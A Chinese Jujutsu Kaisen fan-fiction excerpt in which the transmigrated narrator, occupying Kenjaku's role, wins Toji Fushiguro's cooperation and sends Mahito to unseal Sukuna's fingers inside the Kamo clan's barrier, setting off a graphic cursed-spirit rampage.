“刚才,也是相同的感觉。一次便罢了,这第二次,绝不可能是意外。你也是为了验证这一点,所以才会有第二次的无杀意杀戮。虎杖香织,虎杖悠仁,这一对母子在死亡的时候都有这种异状,咒力和诅咒之外,还有新的东西——他们,还有你,究竟是些什么来头?” 第32章 可怕, 真的太可怕了! 「天与咒缚」有这种极端的感应能力,能不能提前和我说一声,让我有个心理准备? 这个能力原作有这么变态吗? 我怎么觉得没有。 这让我怎么招架得住。 爹咪的眼神非常锐利, 不是盯、而是钉在我身上。 仿佛我不给他一个答案, 他马上就能把我的脑袋拧下来一样。 这不是一个形容句,而是字面意义随时可能会变成一个动词的句子。 太残暴了。 爹咪可不像灰原那样好糊弄,给他编故事, 我的压力真的很大。 让我想想该怎么骗…… “你不会是在想要怎么骗过我吧?” 爹咪,你老是交代,你是不是偷偷给自己藏了一手读心能力? 我脑中快速闪过一串说辞,从欺骗到真诚的说辞, 我全都过了一遍脑子。 说真的, 口无遮拦的亏我吃太多了,哪怕吃十堑长一智我现在也该进化了。 “是想隐瞒一下的来着,毕竟你的问题牵涉实在太广,我是有不少顾虑。”我叹了口气,有些无奈地开口。 爹咪此时肯直接来问我, 说明他对我是有信任的。 像爹咪这样的大猫咪, 能够付出的信任非常有限,付出信任的次数更是屈指可数。 要是错过了这一次, 以后再想要和爹咪攀上关系可就难了。 我判定, 此时不易说大谎。 就算说,那也得是九珍果汁——不对, 是九真一假。 “说实话, 我真没想到这个世界上竟然有人能够感知到那种变化, ”这感叹可是实打实的情绪, 我甚是无奈, “在做这一切之前,我可是刻意确认过的,哪怕是五条悟的「六眼」都不会发现任何端倪。” 毕竟上一次的穿越的时候,我的外挂是「六眼」,那是一个什么样的视角,没有人比我更清楚。 当时离开世界端口的时候,我也同样搞出了这样的线条世界形态。 未来的完全体「六眼」尚且无法发现,现在的成长体就更别提了,我判定安全。 就是因为有这个经验,我才能有恃无恐。 真是千算万算,防了「六眼」没防「天与咒缚」。 我是真的没有想到爹咪能感知到这一步。 我仔细回忆,上一次穿越也有接触过爹咪,甚至用「六眼」分析过他——虽然那时是降灵覆盖的爹咪,但实力状态与现在的爹咪,应该也是相似的。 我并不觉得那时候的他能跳脱出漫画的世界观,这次和上次究竟有什么不同? 我仔细地思考着,将每一个细节都重新揪出来。 不会是……因为我吧? 我恍然想起了之前和爹咪的对话。 在肝脑花的副本之前,我为了忽悠爹咪、为了把他拉入我的阵营里来,刻意抬高了爹咪「天与咒缚」的特殊性质。 一般来说,我灌输的理念想要起效,需要的是该世界重要角色的认同和脑补,这也是世界意识同化我的一个步骤。 这个步骤的目的在于同化,所以在此之前,这个能力从来都只对未被同化的我有效。即使以幼年体世界的角度考虑,祂想要让世界的每一个组成部分,都同化到世界的进程中来。可要通过改变爹咪自己的认知来影响爹咪自己的强度,显然不科学。 卡Bug也不是这么卡的。 但——如果再加上后来的我,情况就不一样了。 我说出来的话,我自己当然是认可的。原本的我并不真正属于咒回的世界意识之下,自然也就等于游历在世界之外,算不上从属于这个世界的重要角色。 可当我接下脑花位置的瞬间,我就在这个世界有了一席之地。 一个萝卜一个坑,我蹲在了脑花的坑里,自然就拥有了其在这个世界的权重。脑花的人设原本就已经到了世界支柱的程度,且他原设就是概念制造机。 想当初,我给自己加咒灵之咒灵Buff 的时候,也是想着,只要脑花接受了这个设定,我就已经成功了一半。 可想而知,脑花在这方面的作用。 所以……是我给爹咪加的Buff让他发现了我的端倪。 等于,是我给自己挖了个坑?! 我坑我自己实锤。 从来都是我忽悠别人给我加Buff,没想到我也有给别人加Buff的一天。 我在医院里接替了脑花的人设,所以甚尔的「天与咒缚」更加强了一层“命运之外”的感知,这才使他确信了异常。 如果我不忽悠爹咪,就很难让他和我一起去肝脑花副本;如果我不肝脑花副本,也就不会搞出世界崩塌的问题来;如果世界不崩塌,我也就不用接替脑花位置;如果我不接受脑花位置,爹咪也就不会感知到世界之外。 但没有如果,我对脑花是硬性需求。 所以,每一个步骤都是必然——逻辑闭环了属于。 小丑果然是我自己。 爹咪史诗级加强。 我舔了舔嘴,一时间五味杂陈。 但既然已经到了这一步,就只能在这条路上走下去了。 “「命运之外」,真是永远都无法被常理预测。”我感叹了一句。 爹咪脸上并无惊异,显然,他自己便已经想到了那个“命运之外”的判言。 这里不说谎的选择,是对的。 他来找我是对答案的,不是抄答案的。 “认真的,甚尔先生,你真的想知道吗?这可是个潘多拉魔盒,”我浅浅地恐吓了一下,总不能直接一下就把答案给吐露干净,“打开后,再想合上,可就难了。” 我越是这样说,爹咪的好奇也就越重。 大猫,也是猫。 “说说看,有多可怕?”他挑眉,当然完全不怂我说的话。 我沉吟数秒,这才开口,“你觉得,这个世界之外,是什么?” “哈?”爹咪大概没有料到,我的第一句话,竟然是个相当玄学而无厘头地反问。 “普通人生活在这个世界上,咒灵、咒术师就是他们的‘世界之外’。但你我都清楚,不论是否在他们的认知当中,咒灵和咒术师都是存在的。那你有没有想过,在你现在的认知的世界之外,是否还有其他的东西存在。” 爹咪摸着下巴,我的言外之意显露无疑。 他之前感知到的异常,就是这种“世界之外”的存在。 “你是在说,你就是这‘世界之外’?”他一下子就从我的表情上,捕捉到了关键。 我不置可否,而是继续说道:“认知的边界在世界之中,但世界的边界却不由认知决定。不论普通人是否承认,咒术师和咒灵都一样存在。更大的世界也是如此,但咒术师为何千百年来都秉承着相同的理念?不论内斗如何严重,咒术师、诅咒师乃至于咒灵,他们都从来不会广泛地向普通人揭露这个世界的真相,为什么?” 问题在爹咪的脑子里绕了一圈,他很快就有了答案,“因为人的承载能力有限,击破人的认知是非常危险的事情,普通与不普通之间维持着微妙的平衡。特殊的认知维护着特殊认知者们的特权,也维护着非认知者的安全。” 毕竟有禅院这样大家族的出身,只要多想一层,爹咪站在禅院这样的家族立场上琢磨事情并不困难,“没有认知,普通人才不会去主动冒犯咒灵。大部分的咒灵只有在被注视、被发现的时候才会具有强攻击性,这个特性的存在不会没有意义。一无所知的普通人创造了咒力环境,是这个环境孕育了咒灵和术士,后两者又相互牵制,确保了永远不会大范围地牵连到孕育他们的咒力环境。这是生存的平衡。” 保护环境,就是保护自己——这句话放到咒力和诅咒体系中,也同样适用。 “没错,平衡——平衡是一切的关键。在任何层级的世界里,平衡都是关键。”我终于把这个话题绕了回来,“那就是我的工作。” 爹咪垂眼,若有所思。 “就像普通人一样,知道得越多,就越容易和咒灵对视、越容易让自己陷入危险。最好的办法,就是不闻不问不知。限于自己的认知,原本也不是什么坏事。” 言尽于此,不清不楚的话留有更多的思考空间,人自己脑补出来的前因后果更容易被自己接受。 是否要保持这种局限,就是爹咪自己的选择了。 我打算给他点时间。 一转身,我却还没有来得及抬脚走人,就被身后的爹咪叫住了。 “喂,你这家伙,之前说的话,还算数吗?” 之前的话? “保证咒术师和咒灵都不会再来骚扰早春和惠。” 爹咪的语气异常轻快,可一点都不像是要我马上给个肯定的答案的样子。 但我还是回了一句,“现在,我已经能保证,不会有咒灵去骚扰你们。” 我当时说的话,也不全都是在画饼。 咒灵几乎已经在我的影响之下,咒术师的话,还需要后续的一些骚操作。不过只要有点正常思考能力的咒术师,就不会去触爹咪的霉头。 术士杀手的称号,可不是开玩笑。 “我不信。”爹咪还不等我最后一个音落下来,就立刻堵上而来这句话。 我皱眉,回头去看爹咪。 他昂着头,咧开嘴巴笑得肆意,“仔细想想的话,求人不如求己。把这种事寄托在别人身上可不是我的风格——” 拓展认知意味着要面对更多的真相,但主动好过被动。 普通人的无知虽然让他们规避了大部分的咒灵威胁。可万分之一的概率,如果遇上了危险,在无外力帮助的情况下,那就是必死之局。 爹咪有过一个极度颓废的未来线,但他却并未真的甘愿过屈居人下。此时的他更不会将自己妻儿的安全拱手让渡给所谓的“外力”,所以再进一步,是必然的结局,“再仔细谈谈吧,那个‘平衡’的问题。” * 直到返回陀艮的生得领域,我都有种恍若梦中的错觉。 形势变化真是让人始料不及。 竟然有人——主动要求加入社畜行列! 而且,这个人还是爹咪! 我!的!天! 这是真实存在的吗? 虽然我确实用了点言语技巧,但我并没有打算真的凭这一点虚无缥缈的概念就收服爹咪。 在我的基础印象里,他太难嫖了。 但我却有些忽略了,这个爹咪和我认知当中的任何一个爹咪都不一样。 不论是人渣属性、小白脸属性还是赌博属性,实际上都是在追求一种自暴自弃的刺激,毫无顾忌时常隐含着没有可以顾忌之物的深层原因。 越是肆无忌惮,就是在自我毁灭。 他的心里曾有一个巨大的窟窿,那窟窿就像一个泥潭一样,让他陷入深渊。 但在现在的时间线里,活着的妈咪和惠填补了他的空虚。 真正的王者·妈咪。 爱果然是亘古不变的主题。 只有被填补了的爹咪,才有机会体会到其他正常人应该拥有的情感和羁绊。 所以我现在算是——拥有了一定程度上,爹咪的友谊? 芜湖,起飞! 我心情巨好,连带着真人都顺眼了起来。 给他嘬两口我的诅咒也没什么不行的。 “我这边的进展顺利,你那边呢?”我躺在沙滩椅上运筹帷幄,“名单上的咒灵确认了没。” 花御的行动效率也相当高,虽然还没有着手接触那些咒灵,但以她的感知能力,已经全部观测完毕。 “香织的名单很准确,我已经看过,一级以上有自我意识的咒灵都生存在她记录的位置。” 当然了,脑花的名单能不精准吗? 一般来说,咒灵不会轻易离开自己的舒适区,他们在诞生后的很长一段时间都会停留在他们的出生地。那是诅咒成长筛选出来的、最适合他们的地方,想要变得更加强大自然也要在那样的环境之中。 也是因为如此,「窗」才有足够的时间观测、评估咒灵,最终将任务分配下去。 “我简单接触了一下,一级、准特级仍占多数。他们的自我意识并不强烈,香织的计划也是先观察、培养,但有一个已经确认成型的特级,他拥有自我意识,并且也察觉到了我的观测,” 花御抬起自己的手,指尖仍残留着一点焦黑的色彩,“名字尚不清楚,但我已经确认,他是从人类对火山的恐惧中诞生的咒灵。” 是你,大冤种瑚宝。 “那就先接触他吧,我们是为了咒灵更加自由地行走在这个世界,就要尽可能团结一切咒灵同伴。” 在理想方面,瑚宝可是未来咒灵阵营当中,最坚定的一个。 我的剧情影响力应该没有改变到他头上。 “我明白。”花御点头,显然已经做好了准备,“另外就是关于两面宿傩的手指——你列出来的几个方向,我也已经都搜过了,确实有两个地方,咒灵生长速率更快,像是受到了什么影响。” 大爷的手指可是诅咒之王的二十分之一。 即使被封印,依然会有溢出的诅咒——这些溢出成分,足以刺激咒灵的生长。 花御没有继续说下去,像是欲言又止似的。 我马上意识到,那两个地方恐怕不是什么好进的地方,“哪里?” 旁边的陀艮挪动身体,盯着地图到了我身边,触须越过头顶在地图上滴下两圈水渍,印在了两个地点上。 这两个地点挨得极近,简直是一座山的正反面。 “嘶——我记得这个范围,好像是在加茂一族的族地边缘?” 我一眼就认出了水渍的位置。 虽然实际生活里,我方向感不强,但在地图上,上北下南左西右东,我现在已经能看懂了。 花御点头,“我不明白,为什么咒术师的家族里,也会有这样明显的咒灵反应?” 这还不是显而易见的吗? “御三家——不,应该是只要有点底蕴的家族,都会有自己的势力范围。有地有房有空间,这才能撑得起对族人的培养,有足够优秀的族人,才能撑得起家族繁盛。”我解释着,“培养咒术师不可能离开实践,在家族内的培养,自然就要豢养咒灵。” 就像禅院家,就是因为有专门的咒灵豢养地,爹咪的嘴角才有那个无法愈合的伤口。 和他们相比,加茂一族的族学渊源在。虽然态度上必须得反对脑花版加茂宪伦,但我不相信他们真的会摈弃脑花的研究结果。 私下里关上门,他们家族里一定还有脑花的影响痕迹。 他们更会豢养咒灵,也便不令人奇怪。 不过,不令人奇怪并不意味着,花御的判断错误。 咒物刺激,只要把握好度,本来就是一种最优的豢养手段。 有脑花过去的海量实验数据,加茂家肯定是最会把握这个“度”的家族。 这里的嫌疑确实最大。 大爷在我的体内也表示了认同。 那就有一试的必要。 “没什么不好潜入的,”我眼睛一转,计上心来,“既然有咒灵基础,我进去就容易了——两面宿傩的手指……希望加茂家不要让我失望。” 可千万要给点力,咒回同人界唯一指定反派家族。 第33章 加茂一族, 咒术界最古老、最有权势的家族之一。 这样的家族,自然有自己的底蕴、也有自己的阴暗。 御三家的「帐」比任何地方都要厚重,再加上此地的特性, 这里可比那两所高专学校还要难对付。 我现在还没有直接和咒术界宣战的打算。 那就要从“潜入”这个词上, 下功夫了。 “‘潜入’?这个「帐」没有那么强。” 不论多少次,我都不习惯大爷的声音从我的脸蛋上传出来。 “这不是强不强的问题,如果里面有剩下的十九根手指, 冲进去也就冲进去了。要是打草惊蛇,那岂不是得不偿失?” 我都想好了,一会儿进去了,就把加茂家的好东西席卷一空, 这样的话, 谁知道我寻物的目的到底为何。 当然,就算知道了又怎么样。 咒术界明令禁止使用“两面宿傩的手指”这样危险的咒物,加茂家在这里受到了打击,被削弱了实力,难道还敢肆意张扬自己偷摸使用手指的事情吗? 我把一直抱着我脖子的真人取了下来, “小真人, 看你的了。” “嗯嗯!”他用力地点着头,这还是第一次被我带出来, 所以显得格外兴奋。 他双手摸着「帐」的表面, 缓缓闭上了眼睛。 和原作的真人不同,在我的管制下, 他没有机会去接触更多的人类, 无法肆意地在人体上实验自己的「无为转变」。 如此情形之下, 他的能力朝着另外一个方向进化了。 他感应的触|手无形地钻入了「帐」的每一个角落。 这并没有触发「帐」的防御机制, 因为真人此时的目的在于探查, 摸清「账」的结构。 数十秒后,真人眼睛一睁,无数的触手迅速回拢到他体内。 “「无为转变」!” 他的术式在自己的体内生效运行,触手迅速地捏动着他自己灵魂的每一个角落——灵魂真是个奇妙的东西,我看他的术式,就像是在看大师级轻黏土作品。 真人的灵魂被改造——甚至是重塑成了全新的模样。 别说,这个过程还挺解压的。 “我去了哦!” 真人挥挥手朝我告别,步子一迈,跨入了「帐」中。 我屏息,紧张地观察着「帐」的反应。 一秒、两秒—— “成功了!” 我一握拳,鼓励着真人,“去吧真人,按我说的做。” 论「无为转变」的一百种用法。 宿傩大爷都对这一手多有赞赏。 “能够轻易穿过天元的能力,还算有点本事,” 说起原理来,其实并不难理解。 「帐」的布置带有一定的条件,它并非限制每一个出入的生命体。 就像原作布置在东京高专的「帐」,以其他任何人都能随意出入为条件,制衡了五条悟的存在。 所以,只要搞清楚了「帐」的构成和限制条件,再根据条件捏一捏灵魂,自然就能轻易跨越任何阻碍。 这简直是真人的专业领域。 长时间对自身灵魂的专注,真人重塑自己灵魂的技术极为纯熟,甚至可以精确到每一个细节。理论上,他可以把自己的灵魂复刻成任何人的模样。 他这样使用能力,可一点不比原作弱。 真正的艺术家以身入局。 当然,与之相对的,他捏外人灵魂的手法,可就没有那么熟练了。这也是我完全不敢让他把我也捏一捏带进去的最大原因。 风险太大了,可别把我给捏成异形,到时候万一变不回来,我都没地方哭。 “他那一副傻样,你真觉得,他能认出我的手指来?” “只要是咒灵,就不会认不出你的手指。”这一点自信,我还是有的,“而且,我也不需要他把手指带出来,只要解开手指的封印,就够了。” 封印和「帐」有相同的原理,让真人去解封,再合适不过了。 “这里是豢养咒灵的地方,手指的力量释放出来,就守卫和训练的那几个咒术师,只怕挡不住暴走的咒灵。” 大爷瞬间了然,get我的意图。 “要是有咒灵吞掉你的手指,那就更挡不住了。”我不需要进去,只要等着里面乱起来的咒灵,自己冲破这个「帐」就足够了。日后,就算是加茂家想查,查来查去,乱也是从内而起,“更何况,里面的咒物,不会只有你的手指。” 咒物越复杂,也就越混乱。 我盘腿而坐,只需静候里面的动静。 即使有人提前发现了真人潜入的残秽也无妨,一个豢养咒灵的地方,有诅咒残秽再正常不过。 真人就算看上去再傻,也是实打实的特级实力,没有了「帐」的示警和保护,我不相信里面有咒术师能拦得住他。 更何况,里面的谁会不自信于自家的防御工事呢? 我闭上眼睛,将感知力拉到最大,诅咒沿着我的身体、在「帐」的外围铺开。 任何人的出入都不会逃过我的感知。 这样就能确保一会儿乱起来,也能最大限度地控制局面。 这座山头可真不小,看似普通的一草一木里,埋伏了不少陷阱。 加茂家对此可谓相当重视。 这也意味着,我一会儿的行动一定要快。 否则本家的反应速度,就会追上来。 大爷提出的屠杀整个家族的计划当然最为简单粗暴,也足够有效。 可我觉得自己仍有心理障碍。 屠杀这种事看着确实爽,但真要让我做,却很难下得去手。 我额心猛的一痛,仿佛有什么东西从内部而起,在这里狠扎了一下。 “嘶!”我睁眼,可却还没有什么东西能攻到我面前来。 也就是我作此想的瞬间,地面强烈的震动,眼前的「帐」发出了刺耳的声音,原本的半弧形被里面的什么东西顶着变了形。 “轰!” 紧接着一声巨响,这个「帐」不是被突破,而是直接从内炸开的。 放眼望去,数不清的咒灵直冲天际。他们没有丝毫逃离的意图,而是争先恐后地撕咬在了一起。 特级以下的咒灵,大多没有充足的自我意识。 生存和进化的本能,让他们不顾一切地争抢。 浓烈的腥臭味涌入我的鼻腔。 “阿嚏!”我狠狠地打了个喷嚏。 具有飞行能力的咒灵朝大地洒下了蓝紫混合的血雨,诅咒随之铺撒在地面,瞬间加强了我的预设力量。 一股暖洋洋的舒适感充盈在我的丹田之中。 就像徜徉在奶茶海里一样。 “妈咪!”真人站在高处,一手举着一根血红的手指。 大爷的感知瞬间被调动了起来,他的眼睛在我的面颊裂开,紧紧地盯着手指的位置。 “有三根。” 没有封印阻隔,他马上就给出了精确结论。 下一秒,一条四五层楼高的蟒蛇便从背后冲向了真人,血盆大口张开将他吞入其中。 那尖锐的、看上去比真人还要高的牙齿扎在真人的头上,却留不下半点痕迹。 即使有接近人类的形态,咒灵的身体,却终究不是人类。 “讨厌、讨厌!” 真人恼怒于和我的对视被打扰,气愤地大叫着,小手抓住蛇牙的牙尖,术式瞬发,“「无为转变」!” 顿时,巨大的蟒蛇便发出一声惊天痛呼,身体扭动着团在了一起,交接的皮肤融合—— 唰! 每一个鳞片下都捅出了长短不一的尖牙,血液淋漓地将蛇身彻底撕裂。 同时,也是这些锐利的牙齿,穿透了一大批朝着这根手指而来的咒灵,间接接触也是接触,它们的身体也被「无为转变」一并卷入其中。 只是一两秒的时间,死亡的气息就将山中的一切尽数笼罩。 人类咒术师的哀嚎还没有入耳就已经被更大的嘶吼声盖过,咒力在如此浓郁的诅咒环境里几无立足之地。 这里的咒灵数量绝对过了百,死亡、恐惧和焦虑的情绪混杂下,让他们的暴走更加激烈。 “数量还真不少。” 我的声音被完全埋没,身上调动的力量却显露无遗。 在这场咒灵狂欢的刺激里,任何一点大爷的气息,都会被视作肥肉。 更何况,排除掉那根谷子手指,我身体还有一个货真价实的手指在呢。 一个婴儿头的咒灵脖子一梗,前后180度平转,直直地盯住了我。它嘴里塞满的咒灵尸体被嚼碎,一根红色的手指顺着它的舌头滑进了肚。 顿时,它的力量暴涨,原本只有半个脑袋大的身体被诅咒撑起,虬结的肌肉仿佛有生命一样,在皮肤下流转,胸腹胀大得越过了腿长贴在了地面。 “嘎吱”—— 一张血盆大口在腹部张开。 远远的,我便能看到那里正在消化的咒灵身体,涎水顺着牙齿和腿肉滴在地面,“滋滋”地腐蚀出了一个大坑。 “吼——!” 他的吼叫和破空之音重叠,撕裂了残余的「帐」,直直地逼到了我面前。 大张的嘴巴里满是直冲来时顺嘴吞下的咒灵残躯,血肉都还来不及被涎液溶解,延伸出巨长的牙齿就率先插在了地面,将我困在方寸之地。紧接着,嘴巴闭合,牙床铲起地皮和树丛,想连带着环境将我一起吞入腹中。 “说真的,这么恶心的咒灵,我连一点食欲都提不起来。” 太慢了,他的每一个动作,在我眼里都太慢了。 我抬手,虚握的手指向外一张。 ——歘! 密集的刀痕甩开,瞬间将食材切得细碎——只可惜,这些都是坏掉的食物,我可吃不下。 死亡的咒灵凝滞在空中只有刹那,我眼睛一瞪,诅咒以我为点,如结界将异物全部冲开。 这么恶心的血肉涎水,要是沾到我身上,洗多少次澡都膈应。 我一把攥住掉落的手指,抢在大爷直吞之前,将它丢入了水杯里。 “你是饿死鬼托生吗,能不能讲讲卫生,洗干净再吃!” “呿——矫情。”大爷毫不留情地吐槽我,“咒灵的身体由纯粹的诅咒组成,骨血肉液,全都是诅咒。” 但一码归一码。 拜托,咱们俩的味觉是相通的,我可一点也不想尝到刚才那个恶心家伙的一点味道。 看着就膈应。 洗干净手指喂给掌心迫不及待张开的嘴,我抬头看了看天空。 飞行咒灵们的争夺可比陆上的更加激烈,牛兽鸟身的咒灵才抢过手指,却根本来不及吞下,长喙便直接啄透了它的脑壳,里面的浆液流出,滴在飞冲向上的羽翼上。 不——与其说是羽翼,不如说是“手”翼,无数的带着尖锐长指的手组成了飞翔的翅膀。只是一扇,那手翼便能硬生生撕下一大片皮肉。那翼上之手一抬,我这才注意到,掌下还有密集如手的嘴巴等待着投喂。 就算不是密恐,看着也着实恶心,让人忍不住起鸡皮疙瘩。 我可不要近距离混入其中,大拇指和食指比出手枪的姿势,对准天上的飞行物—— “biu!” 我给自己配音。 远处,天空中的手翼在我的低音中炸成了烟花。 “biu、biu、biu——” 强大的攻击往往只需要最简单的发射方式,空中爆开的蓝紫色烟花带着强腐蚀性,在山顶侵蚀出一道深深的鸿沟, 嘿嘿嘿,还挺有趣的。 以那些咒灵的密度和速度,我甚至不需要用心瞄准,几发“诅咒玉”下去,天空就已经静谧下来。 再加上真人高高兴兴交给我的那个—— 三根手指,这不是手到擒来吗? 三股力量稳稳下肚,一阵肾上腺素狂飙的感觉刺激着我的身体,皮肤上的咒纹剧烈地燃烧,大量的诅咒在丹田膨胀。 我的第一反应就是——果然不出我所料,我就知道两面宿傩手指的力量不是单纯的加法。四根手指在我体内混合起来,诅咒体量绝对翻了绝对不止四倍。 “呼——” 我长舒一口气,快速适应下来。 这简直就像是蒸桑拿,只有第一个瞬间那宛如熔岩般的憋闷环境让人不适。 大爷跷着二郎腿倒是舒服了,生得领域内剧烈变化的极端环境比我所经历的还要真实,骨头堆积的地面燃起烈火,血液组成的河流翻腾的滚烫的气泡,蒸汽中都传递着浓烈的诅咒之味——当之无愧的人间炼狱。 可在这种环境里,大爷反而愉悦了起来。 “就得是这才像样。” 他俯瞰着王座下的一切,仿佛眼前的炼狱之景才是他真正喜爱的东西。 隔着领域,他和我遥遥相望。 暴涨的诅咒量仿佛昭示了他随之膨胀的自信,那睥睨众生的眼神在我看来,和挑衅无异。 毕竟我俩有约在先,最后总是要你死我活的。 我睁眼,已经没有咒灵敢再到我面前放肆——即使是少有自主意识的咒灵也是如此。 我对手指的融合和其他咒灵不同,他们的身体很难在短时间内真正吸收咒灵的力量,所以咒灵们之间拼死搏杀,可以从其他咒灵死亡的身体里掏出咒物。 但我的身体可以真正解析手指的结构,将其完全吸收——当然,这个过程能如此顺利,也得益于大爷的加成。 即使我真的嘎了,身体中的力量也不会重新再变回手指,而是会随着我的死亡而消散。 兜兜转转,我终于还是把虎子的剧本拿了回来。 眼前的咒灵仍然没有平息,真人显然遵从了我的每一句话,里面他能找到的每一个咒物几乎都被他收集起来解开了封印。 他现在手里就抱着一个刻着咒纹的骷髅头,骷髅眼洞里盘踞着两条青蛇,可张开的蛇口里却有密集如鲨鱼的两排牙齿,仔细看,还能看到其喉咙深处转动的眼球。 真人的术式在这个不知道是咒物还是咒灵的东西上作用着,使它的特征也一直在变化。 可算是给他找到了一个施展本领的机会。 受真人控制的青蛇看上去只有巴掌大小,它那一口咬下去,仿佛连其他咒灵的皮都划不破。可我却看得真切,细小的牙齿刺入某个咒灵的瞬间,那数米高的躯壳便迅速瘪了下去,皮囊下的血肉仿佛被化骨水溶解了似的,成了翻滚的液体。 另一个蛇头吐出的分叉舌头上,挂着两只眼球,像是在观测着什么。一秒之后,便如电光一般,一头埋入了不知何时已经薄如蝉翼的皮囊之下。 几个呼吸间,那百倍于蛇身的咒灵身体就消弭于无形。 真人喜笑颜开,抬起骷髅头放在阳光下,咒纹一串串地浸染着诅咒,原本就成青灰的骨壳颜色愈加浓郁,不祥感更甚。 可这一幕根本没有在咒灵堆里砸出一点水花,那飘落在地的皮囊都很快被分食,各类诅咒无序地撞击,原本葱郁的环境已经变得贫瘠,山地开裂,更有甚者,将山头两端穿透。 这里完全成了个养蛊皿,争斗中的咒灵等级肉眼可见地攀升,二级、一级、准特级。 不知数量的人类手足稀稀拉拉地挂在残枝败叶上,不知被什么攻击腰斩了的咒术师似乎还有生息,生存的本能让他扭动着双手向前,想要抓住什么倚靠。可指尖都没有伸展,就迅速被追上来的低级咒灵生生掰断了手臂,撕扯着血肉啃了下去。 我狠狠地皱起了眉——这样的画面对我来说比咒灵战斗的刺激性可大多了。 我应该感觉到恶心、应该感觉到瘆人、甚至应该感觉到恐惧。虽然那不是我直接动手,但实际上也没有多大区别。 可事实却是,我发现自己的心里没有一丝波澜。 这不是我应该有的感知,这是脑花人设带来的东西吗? 比任何一次被世界意识影响的速度都快,我感觉我已经有意识地掉入了某个深渊之中。 更可怕的是,我清醒地知道我在受影响,却不能摆脱。 “轰!” 在层出不穷的攻击和压迫下,原本就被腐蚀出鸿沟的山体,裂口扩得更大。终于,顶峰的土地不堪重负,倾泻而下,砸向了更低的位置。 山体滑坡绝对是最危险的自然灾害之一。 可这番巨响却只是刺激了咒灵的神经,争斗一时更胜。 “吵死了。” 领域内的大爷突然开口,他的声音不大,甚至没有真正传出我体外,但他的诅咒却沿着领域边缘,从我的身体中荡开。 混乱中争斗撕扯的咒灵顿时一停,仿佛正无限吵闹的班级门口,站了个虎视眈眈的班主任一样。 从吵闹到安静,只要一个眨眼的时间。 这是在控制咒灵吗? 不,这是在给我下马威呢,展示他作为诅咒之王在咒灵之中的压制力。 这些咒灵可大都没有充足的意识来思考,可即使如此,两面宿傩的力量还是强制了他们的臣服,让他们生生僵直在了原地,不敢动弹。 最直观的,就连那为数不多残余的三级咒灵,咬在咒术师血肉上的牙齿都停了下来,眼珠转动着看向了我这边,仿佛灵性地征询主人的命令。 我低头看向不远处的真人,他的动作也停了下来。 这是任何其他咒灵都无法达到的境界,真正的诅咒之王。 这个“王”的地位竟然不仅仅只代表单纯的实力,还代表了某种权力。 大爷也真是个场面人。 “炫技。”我嘟囔着吐槽了一句,外层的诅咒圈突然被触动,“啊,有人来了。” 加茂家的反应绝不算慢,距离「帐」被捅破,只过去了短短十数分钟。 但是,不慢不代表不迟。 一切都已经结束了。 看着周围这些臣服安静,等待着大爷命令的咒灵,我可不能示弱。 我纯黑的眼睛里荡开浓郁的血色,铺开的诅咒在这片大地上迅速生根发芽。 “啪”—— 一个响指,海量的诅咒在我的催动下,仿佛有了自己的生命,翻腾找到就近的咒灵,疯狂涌入其身体,刺激着它们的神经。 “呵——你的权力也不过如此。” 我回怼了大爷一句。 手动刺激下,那些臣服的咒灵瞬间冲破了大爷发出的命令,身体快速扭曲进化着变得更加狂躁。 我自是不必去正面应对那些咒术师的增援。 这样狂躁的咒灵群,只怕较于百鬼夜行,也是有过之而无不及,足够那些增头疼好一会儿了。 第34章 “噗哈哈哈哈哈哈——”爹咪捂着脸狂笑, 完全压制不住的声音,肆意地回荡在房间四壁,“我就知道, 加茂家那事儿少不了你的手笔。” 幸好今天要的是包间, 不然坐在大厅里,爹咪这笑声绝对会成为全场焦点。 负面的那种焦点。 我已经意识到了,这不是什么广阔的城市、广阔的世界, 为了防止偶遇,我以后都不会再坐大厅座了。 果然,包间的含金量还在上升。 我看着爹咪·宇智波狂笑限定版,持续不停的发声, 无奈开口, “怎么,加茂家的反应很搞笑吗?” 那天之后,我并没有刻意去打听加茂家后续反应。 或者说,我现在正在和爹咪打听。 对脑花的记忆接收不全,导致我无法完全利用脑花那些安插在咒术界中的布置。自然, 我的消息也就没那么灵通。 不过, 山不在高有仙则灵,渠道不在多, 好用就行。 有爹咪这么个老手在, 也足够我用了。 术士杀手之名,自然是建立在足够的情报基础上的——他可不是光靠蛮力工作的佣兵。 “御三家那些人, 怕是这辈子还没吃过这么大的哑巴亏。”爹咪终于缓下了笑, 结实的腹肌隐隐还在抽动。 我严重怀疑, 如果爹咪不是有「天与咒缚」这样的逆天Buff加成——有超越常人的身体技能和呼吸方法——他早就字面意义上的笑死过去了。 被点了笑穴一样, 奇怪的「天与咒缚」用法增加了。 “你想的没错, 那些加茂老家伙们根本不敢把手指的事情抖出去。只说是咒物封印损坏导致的失控。可笑——一个大家族,连咒物的封印都弄不好,以致于闹出这种乱子,丢人!”爹咪实在太喜欢看那些老橘子们吃瘪了。 确实,咒物封印的损坏无非也就是三种原因,封印不到位、封印老化或是人为破坏——而这三个原因分别对应着三个不同的丢人方式。 要么是封印咒物的能力低,要么是封印“体检”的机制差,要么是加茂族地的防御弱。 三种丢人方式随机选择,总有一款适合你。 加茂掌门一觉醒来天都塌了,只能在丢人与更丢人之间进行选择。 “御三家之间的权力斗争一直没有停息过,你压我一头,我回你一下。最直接的表现就在对总监部的控制上,三个家族掌握着总监部的不同职能——情报收集、人员管理、任务派发等等,这些都是权力。总监部的部长也从来都是三家制衡的结果。”爹咪一张嘴,就是对咒术界现状的熟稔,“出了这么一档子事,直毘人那个老头可不会放过。” 这种斗争,一向是一点破绽都会被抓住不放,加茂家的人,这下可要睡不着了。 “就让他们斗,这个时候可千万别停。”我也差点忍不住和爹咪一样地笑出声来。 他们有嫌隙,我才有机会。 以我现在的反派身份来说,我最不想看到的就是咒术界同气连枝,“那星浆体的事进行的怎么样了?” “这算是唯一一个能让三家放下一切矛盾合作的事情了,只不过——矛盾这种东西在心,就算面子上放得下,行动上也放不下。护卫星浆体这种活儿在有记录的几次历史里,都没有出过差错,现在几乎就是个用来给咒术师镀金的任务。” 这句话由爹咪说出来,还真是无比讽刺。 镀金? 给谁镀金,给爹咪吗? 爆杀「六眼」「无下限」,爹咪在漫画里一战成名,人气飙升。 “盘星教不是已经放出话来,说要阻止星浆体和天元的融合吗?怎么,看不起盘星教?” 倒不是说盘星教本身成员有多强,但耐不住人家有钱啊。 虽然有重重防卫,但重赏之下必有勇夫,怎么也不至于用一句“镀金任务”来形容吧? 